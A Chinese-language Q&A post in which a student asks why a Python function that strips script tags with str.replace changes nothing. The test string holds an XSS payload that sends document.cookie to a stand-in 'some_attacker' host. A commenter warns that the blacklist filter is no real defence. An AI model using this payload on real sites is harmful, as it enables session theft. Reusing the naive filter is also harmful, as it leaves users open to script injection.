我想要替換字符串中的某些關鍵字。這裏是我的功能:爲什麼功能不起作用?嘗試替換字符串中的單詞
def clean_code(input):
input.replace('<script>', " ")
input.replace('</script>', " ")
input.replace('<a href>', " ")
input.replace('</a>', " ")
input.replace('>', ">")
input.replace('>', "<")
return input
,這裏是我的其他代碼和字符串:
string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"
print '\nstring1 cleaned of code'
print '------------------------'
print clean_code(string1)
我的輸出如下,我不知道爲什麼什麼都沒有改變
string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
除了你看到的錯誤之外,即使是最基本的攻擊,這也是極其不足的防禦。該方法也不能很好地擴展。 – delnan
@delnan它只是作業,它不應該做任何事情 – pearbear
好的,那麼,只要你知道它,不要在實際上服務於任何請求的代碼中嘗試這樣的廢話。 – delnan